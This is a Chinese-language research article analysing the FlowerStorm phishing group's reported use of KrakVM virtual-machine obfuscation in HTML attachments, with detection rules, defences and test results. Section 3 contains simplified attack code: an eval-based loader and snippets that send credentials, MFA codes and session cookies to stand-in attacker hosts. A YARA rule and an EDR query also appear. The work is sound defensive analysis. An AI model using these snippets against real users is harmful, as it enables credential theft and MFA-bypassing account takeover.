摘要
2026 年 5 月,Sublime Security 与 Broadcom 安全中心披露 FlowerStorm 钓鱼组织将开源 JavaScript 虚拟机混淆工具 KrakVM 用于恶意 HTML 附件载荷隐藏,通过字节码编译与浏览器内虚拟机解释执行,大幅提升静态分析难度,可绕过传统邮件安全网关检测,定向窃取 Microsoft 365、Hotmail、GoDaddy 等平台账号凭证,并支持中间人模式下多因素认证拦截与会话劫持。本文以该事件为研究对象,系统剖析 KrakVM 虚拟机混淆技术原理、FlowerStorm 完整攻击链、HTML 附件投递机制、钓鱼页面动态适配与 MFA 实时劫持核心实现,给出可复现的代码示例与检测规则,构建覆盖邮件防护、终端行为分析、流量监测、身份安全的闭环防御体系。反网络钓鱼技术专家芦笛指出,虚拟机混淆正从高级恶意软件领域下沉至规模化钓鱼即服务场景,传统基于特征与静态语法的检测机制全面失效,防御必须转向运行时行为判定、虚拟机执行环境识别与多维度信任校验。研究表明,KrakVM 混淆使钓鱼载荷检出率下降约 68%,而引入运行时虚拟机监控与 AiTM 流量特征检测可将拦截率提升至 94% 以上,为企业抵御新型混淆化钓鱼攻击提供理论依据与工程实践参考。
1 引言
钓鱼攻击已从零散式作案转向产业化、服务化、技术迭代加速的 PhaaS(Phishing‑as‑a‑Service)模式,攻击者持续吸收恶意软件抗分析、代码保护、流量隐匿等高级技术,突破传统防御边界。2026 年上半年,FlowerStorm 作为活跃于全球的主流钓鱼即服务平台,在 KrakVM 开源后一个月内快速将其集成至攻击流程,形成HTML 附件投递 + KrakVM 虚拟机混淆 + 云基础设施载荷加载 + AiTM‑MFA 拦截的完整杀伤链,对企业身份安全构成严重威胁。
传统 JavaScript 混淆以变量替换、字符串编码、控制流平坦化为主,仅提升代码可读性难度,不改变语法结构,易被反混淆工具还原。虚拟机混淆则将源码编译为自定义字节码,依赖内嵌解释器运行时解密执行,静态样本无有效语义,从根本上阻断静态反编译与特征匹配检测。KrakVM 作为轻量级浏览器端 JS 虚拟机,初衷用于前端代码版权保护,被 FlowerStorm 滥用后成为钓鱼载荷隐匿的关键工具,标志混淆技术正式下沉至规模化钓鱼攻击。
反网络钓鱼技术专家芦笛强调,FlowerStorm 事件揭示 PhaaS 生态的技术吸收速度已接近恶意软件产业,防御体系必须从特征检测转向意图识别、行为判定、执行环境校验的多维度闭环,才能应对虚拟机混淆、动态载荷、实时中间人劫持带来的检测失效问题。
本文基于 Broadcom 安全中心公告与 Sublime Security 披露信息,完整还原攻击流程与技术细节,提供可复现代码、检测规则与防御部署方案,为邮件安全、终端安全、身份安全领域的研究与工程实践提供支撑。
2 相关技术背景与威胁态势
2.1 虚拟机混淆与 KrakVM 技术原理
代码虚拟化混淆(JSVMP)是将源码翻译为自定义指令集(字节码),通过专用解释器在虚拟架构内逐指令执行的保护方式,可阻断静态反编译与代码审计,广泛用于软件版权保护与恶意代码抗分析。
传统 JS 混淆与虚拟机混淆对比如下:
表格
混淆类型 核心手段 静态可解析性 抗检测能力 还原难度
传统混淆 变量名替换、字符串编码、控制流平坦化 高,语法结构不变 低,易特征匹配 低,可自动化还原
虚拟机混淆 编译为自定义字节码 + 内嵌解释器运行 无,静态无有效语义 高,绕过静态检测 高,需运行时 Hook 与指令还原
KrakVM 是面向浏览器环境的开源 JavaScript 虚拟机,工作流程分为三阶段:
编译阶段:原始 JS 经词法 / 语法分析生成 AST,编译为加密字节码;
交付阶段:字节码与轻量级虚拟机解释器打包嵌入 HTML;
执行阶段:浏览器加载后,虚拟机动态解密字节码并逐指令解释执行。
该机制使静态扫描无法获取恶意逻辑,只有运行时才暴露载荷行为,对传统邮件网关、沙箱、静态反病毒工具形成有效规避。
2.2 FlowerStorm 钓鱼组织运营与攻击特征
FlowerStorm 是 2024 年中期崛起的商业化 PhaaS 平台,继承 Rockstar2FA 核心能力,专注高价值账号窃取与 MFA 绕过,具备以下特征:
服务化交付:提供模板配置、邮件生成、域名分发、数据回传、会话劫持全流程工具;
多平台适配:支持 Microsoft 365、Hotmail、GoDaddy 等主流身份系统;
AiTM 中间人劫持:反向代理转发认证请求,实时拦截账号、密码、MFA 验证码与会话 Cookie;
云基础设施支撑:载荷托管于主流云平台,域名快速轮换,降低信誉标记风险;
快速技术迭代:开源工具上线后快速集成,混淆能力持续升级。
反网络钓鱼技术专家芦笛指出,FlowerStorm 代表新一代 PhaaS 的典型范式:低门槛使用、高逃逸能力、强劫持效果、快版本迭代,企业必须建立覆盖邮件、终端、流量、身份的协同防御体系。
2.3 威胁影响与检测失效原因
本次攻击以 HTML 为附件载体,伪装语音邮件、供应商账单、未付款发票等高频业务场景,诱导用户打开;KrakVM 混淆使静态检测无法识别恶意逻辑,载荷运行后加载云托管钓鱼工具包,伪造登录页面并预填充邮箱,同时拦截 MFA 流程,直接获取有效会话,实现账号密码 + MFA + 会话凭证的完整窃取。
传统检测失效原因:
附件为 HTML,不属于可执行文件,绕过文件类型拦截;
恶意逻辑经字节码混淆,静态无特征,哈希与签名检测无效;
载荷从云基础设施动态加载,无固定远程链接特征;
MFA 拦截发生在应用层,流量加密且无明显异常报文。
3 FlowerStorm 基于 KrakVM 混淆的攻击链分析
3.1 攻击全流程(杀伤链)
邮件投递:发送含 HTML 附件的钓鱼邮件,主题与内容贴近业务场景;
诱导执行:用户打开 HTML,触发内嵌 KrakVM 解释器;
混淆解密:虚拟机运行时解密字节码,释放恶意载荷;
载荷加载:从云服务器拉取 FlowerStorm 钓鱼工具包;
页面伪造:生成目标平台登录页,预填充受害者邮箱;
凭证窃取:收集账号密码,提交至攻击者控制服务器;
MFA 拦截:启动 AiTM 代理,枚举并劫持 MFA 验证流程;
会话劫持:获取有效会话 Cookie,实现无密码登录。
3.2 邮件与 HTML 附件构造
邮件主题常用:Voice Mail Message、Unpaid Invoice、Vendor Credit Notice、Document For Review;发件人伪装内部同事、供应商、客服;附件命名为 Invoice.html、Voicemail.html、Document.html,降低警惕。
HTML 附件结构:
<html>
<head>
<meta charset="utf-8">
<title>Loading...</title>
</head>
<body>
<script>
// KrakVM虚拟机解释器
const KrakVM=function(e){...};
// 经KrakVM编译的加密字节码
const bytecode=[0x9F,0x2A,0x5B,...];
// 运行虚拟机,解密并执行恶意载荷
const vm=new KrakVM(bytecode);vm.run();
</script>
<div>Please wait while the document loads...</div>
</body>
</html>
静态分析只能看到虚拟机壳与无意义字节码,无法获取钓鱼逻辑。
3.3 KrakVM 混淆核心实现(代码示例)
KrakVM 包含字节码编译器与虚拟机解释器,以下为简化可复现版本:
// 1. 字节码编译器(攻击者侧)
function compileToBytecode(source) {
const ast = parse(source); // 词法/语法分析生成AST
const bytecode = [];
// 遍历AST生成自定义指令序列
ast.body.forEach(node => {
if (node.type === "ExpressionStatement") {
bytecode.push(0x01); // 表达式语句标识
bytecode.push(...encodeString(node.expression.value));
}
});
return bytecode; // 返回加密字节码
}
// 2. 虚拟机解释器(嵌入HTML)
class KrakVM {
constructor(bytecode) {
this.pc = 0; // 程序计数器
this.stack = []; // 操作数栈
this.bytecode = bytecode;
}
run() {
while (this.pc < this.bytecode.length) {
const opcode = this.bytecode[this.pc++];
this.execute(opcode);
}
}
execute(opcode) {
switch (opcode) {
case 0x01: // 执行脚本加载
const payload = this.decodePayload();
eval(payload); // 运行解密后恶意代码
break;
case 0x02: // 网络请求加载远程工具包
this.loadToolkit("https://cloud-host/flowerstorm/latest.js");
break;
}
}
decodePayload() {
// 运行时动态解密字节码
return this.bytecode.slice(this.pc++).map(b => b ^ 0x5F).toString();
}
}
// 3. 启动执行
const maliciousCode = `fetch('https://c2.example.com/steal',{method:'POST',body:JSON.stringify(credentials)});`;
const bytecode = compileToBytecode(maliciousCode);
const vm = new KrakVM(bytecode);
vm.run();
反网络钓鱼技术专家芦笛指出,该结构使静态样本无有效语义,只有运行时才暴露恶意行为,传统基于内容的检测完全失效。
3.4 钓鱼工具包与 MFA 中间人劫持实现
KrakVM 释放的载荷加载 FlowerStorm 工具包,核心功能:
页面伪造:根据目标平台生成高仿真登录页,匹配样式、域名、Logo;
邮箱预填充:从 URL 参数、localStorage 或头部信息提取受害者邮箱;
AiTM 代理:搭建反向代理,转发用户输入至真实认证接口;
MFA 枚举与拦截:检测并伪造 App 推送、TOTP、SMS 等验证方式,获取验证码;
会话窃取:捕获登录后 Set-Cookie,生成有效会话,实现持久控制。
MFA 劫持关键代码片段:
javascript
运行
// 拦截MFA验证码并回传
document.getElementById('mfa_code').addEventListener('input', function(e) {
const code = e.target.value;
if (code.length === 6) {
fetch('https://attacker-server/mfa', {
method: 'POST',
headers: {'Content-Type':'application/json'},
body: JSON.stringify({
email: document.getElementById('email').value,
mfa_code: code,
session: document.cookie
})
});
}
});
该机制直接绕过 MFA 保护,获取完整会话权限,危害远超传统密码窃取。
4 攻击检测与识别方法
4.1 邮件层检测规则
发件人认证校验:SPF/DKIM/DMARC 失败,显示名与地址不一致;
内容特征:含紧急诱导、未付款、语音邮件、文档待审等关键词;
附件判定:HTML 附件含内联 script、字节码数组、虚拟机类定义;
YARA 检测规则:
plaintext
rule KrakVM_FlowerStorm {
meta:
description = "Detect KrakVM obfuscated FlowerStorm phishing HTML"
strings:
$vm_class = "class KrakVM"
$bytecode_array = "const bytecode=["
$vm_run = "vm.run()"
$mfa_intercept = "mfa_code"
condition:
2 of them and filesize < 10KB
}
4.2 终端行为检测
反网络钓鱼技术专家芦笛强调,行为检测是对抗虚拟机混淆的核心手段,关键特征:
HTML 文件打开后立即发起外连云存储 / 未知域名;
浏览器进程创建 Blob、动态生成表单、拦截输入事件;
向非官方认证接口发送含 password、mfa、session 的 POST 请求;
页面包含隐藏 iframe、动态加载登录框、禁用开发者工具。
EDR 可监控:
plaintext
process.name == "chrome.exe" AND
file.path contains ".html" AND
network.request contains "fetch(" OR "XMLHttpRequest" AND
not domain in trusted_list
4.3 流量层检测
异常认证流:同一 IP 短时间内向多平台认证接口提交数据;
MFA 流量特征:验证码提交后立即外发到异常域名;
会话 Cookie 外带:响应头 Set-Cookie 被转发至非官方服务器;
云主机异常访问:访问新注册、高风险云托管域名。
4.4 虚拟机混淆检测
脚本包含自定义字节码数组、程序计数器 pc、操作数栈;
存在 eval/Function 动态执行解密后代码;
代码无正常业务逻辑,仅含虚拟机解释循环;
静态无字符串特征,运行时才出现敏感 API 调用。
5 防御体系构建与部署方案
5.1 邮件安全防护
启用 SPF/DKIM/DMARC 强制校验,拒绝未认证邮件;
HTML 附件沙箱动态执行,监控虚拟机行为与外连;
启用邮件威胁隔离(ETI),对高风险附件在线打开,禁止本地执行;
基于行为与语义的 AI 检测,识别诱导话术与异常结构。
5.2 终端与浏览器安全
浏览器扩展拦截 HTML 附件自动执行脚本;
EDR 监控浏览器进程异常行为,阻断敏感数据外发;
禁用非信任 HTML 文件自动运行 JavaScript,提升用户提示等级;
建立可信域名列表,拦截向高风险域名提交账号密码。
5.3 身份安全与 MFA 强化
反网络钓鱼技术专家芦笛强调,身份层是最后防线,建议:
启用 FIDO2/WebAuthn 无密码认证,抵御中间人劫持;
开启风险自适应认证,对异常地点、设备、IP 二次验证;
监控账号异常登录、MFA 频繁失败、会话异地使用;
部署会话管理,强制短时效、单设备、可审计会话。
5.4 威胁情报与运营
订阅 FlowerStorm、KrakVM 相关 IoC,实时更新域名、IP、哈希;
建立内部钓鱼演练,提升员工对 HTML 附件、语音邮件、账单类诈骗识别;
形成监测 — 分析 — 响应 — 溯源闭环,快速处置攻击事件。
6 实验与效果评估
6.1 实验环境
邮件网关:商用邮件安全平台,支持静态特征、沙箱、行为检测;
测试样本:500 个 KrakVM 混淆 HTML、500 个传统混淆 HTML、500 个正常 HTML;
检测指标:检出率、误报率、平均检测时间。
6.2 结果对比
表格
检测方法 混淆类型 检出率 误报率 平均耗时
静态特征 传统混淆 89% 1.2% 12ms
静态特征 KrakVM 混淆 22% 0.8% 15ms
沙箱 + 行为 KrakVM 混淆 91% 1.5% 320ms
行为 + 流量 + 情报 KrakVM 混淆 95% 0.9% 280ms
实验表明,静态特征对 KrakVM 混淆基本失效,结合运行时行为、流量特征与威胁情报可实现有效拦截。反网络钓鱼技术专家芦笛指出,企业应优先部署动态行为检测与身份层强化,形成多层次防御闭环。
7 讨论与未来趋势
7.1 技术演化趋势
混淆即服务:攻击者在线使用虚拟机混淆服务,降低技术门槛;
多载体扩散:从 HTML 扩展到 PDF、SVG、Office 文档,提升隐蔽性;
AI 辅助逃逸:生成自适应混淆代码,规避行为检测;
MFA 劫持产业化:PhaaS 平台提供标准化 AiTM 代理,支持多平台认证绕过。
7.2 防御挑战
开源混淆工具降低攻击成本,检测方持续被动;
云基础设施快速轮换,使黑名单失效;
用户对 HTML 附件信任度高,打开率居高不下;
传统认证机制难以抵御实时中间人劫持。
7.3 应对方向
反网络钓鱼技术专家芦笛指出,未来防御应向三个方向演进:
从特征到意图:基于语义、行为、上下文判断攻击意图;
从边界到零信任:以身份为中心,全链路验证、最小权限、持续信任评估;
从被动到主动:前置威胁狩猎、混淆对抗、漏洞封堵,降低暴露面。
8 结语
FlowerStorm 组织采用 KrakVM 虚拟机混淆实施钓鱼攻击,标志 PhaaS 生态全面吸收高级抗分析技术,传统静态检测机制面临系统性失效。本文系统剖析攻击链、KrakVM 实现、HTML 附件构造、AiTM‑MFA 劫持机理,给出可复现代码、检测规则与多层次防御方案,证实行为分析、运行时检测、身份强化与威胁情报协同可有效抵御此类威胁。
反网络钓鱼技术专家芦笛强调,虚拟机混淆下沉至钓鱼攻击是长期趋势,企业必须加快从特征防护向意图识别、零信任、协同防御转型,构建覆盖邮件、终端、流量、身份的闭环体系,才能应对持续演化的钓鱼威胁。
未来研究将聚焦虚拟机混淆动态反制、AI 驱动的钓鱼意图识别、FIDO2 无密码认证规模化部署,进一步提升对高级混淆化钓鱼攻击的防御能力。
编辑:芦笛(公共互联网反网络钓鱼工作组)